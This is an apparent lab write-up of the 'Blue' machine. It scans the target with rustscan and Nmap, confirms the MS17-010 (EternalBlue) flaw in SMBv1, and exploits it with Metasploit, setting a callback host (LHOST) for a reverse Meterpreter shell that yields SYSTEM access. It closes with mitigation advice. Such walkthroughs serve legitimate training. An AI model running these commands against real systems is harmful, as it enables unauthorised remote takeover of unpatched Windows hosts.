Reconnaissance
Port Scanning
We begin the engagement by performing an active port scan using rustscan to identify open ports, followed by Nmap to probe the services running on those ports:
rustscan -a 10.10.10.40 -- -sCV -oN target
The scan reveals several open ports related to Windows infrastructure and SMB services:
- Port 135 (RPC): Microsoft Windows RPC.
- Port 139 (NetBIOS-ssn): NetBIOS Session Service.
- Port 445 (SMB): Microsoft-DS running Windows 7 Professional SP1.
- Ports 49152-49157 (RPC): Diverse dynamically allocated ports for Windows RPC services.
SMB Vulnerability Auditing
Since SMB (Server Message Block) is exposed on port 445, we utilize Nmap’s vulnerability scripts specifically targeted at SMB to check for known security flaws:
nmap -p 445 --script "smb-vuln-*" 10.10.10.40
The output of the scan highlights a critical vulnerability:
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) servers when handling certain requests.
The target Windows system is vulnerable to the infamous MS17-010 (EternalBlue) exploit.
Initial Access
Exploiting MS17-010 (EternalBlue)
EternalBlue exploits a buffer overflow vulnerability in Microsoft’s SMBv1 implementation within srv.sys. We can exploit this vulnerability using the Metasploit Framework to execute arbitrary code and establish a reverse shell connection.
We launch Metasploit:
msfconsole
We search for the MS17-010 exploit modules:
msf6 > search ms17_010
We select the standard exploit/windows/smb/ms17_010_eternalblue module:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
We configure the exploitation parameters:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.2
We trigger the exploit:
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
The exploit triggers the vulnerability in kernel memory, injects our payload, and opens a Meterpreter session. Since the exploit executes in the context of the system kernel, the shell runs with full administrative rights:
getuid
# Server username: NT AUTHORITY\SYSTEM
Privilege Escalation
No local privilege escalation is required. The EternalBlue exploit targets kernel-level memory allocation within the SMBv1 driver, yielding direct remote code execution as NT AUTHORITY\SYSTEM.
Conclusion
Blue is a classic laboratory machine that emphasizes the severity of remote code execution exploits. By identifying that the target was running an unpatched version of the SMBv1 protocol (MS17-010), we successfully bypassed standard authentication mechanisms and gained instantaneous command execution with the highest possible privileges (SYSTEM). Standard mitigations include blocking ports 139 and 445 at the firewall level for external networks, applying the MS17-010 security update, and disabling the obsolete SMBv1 protocol entirely.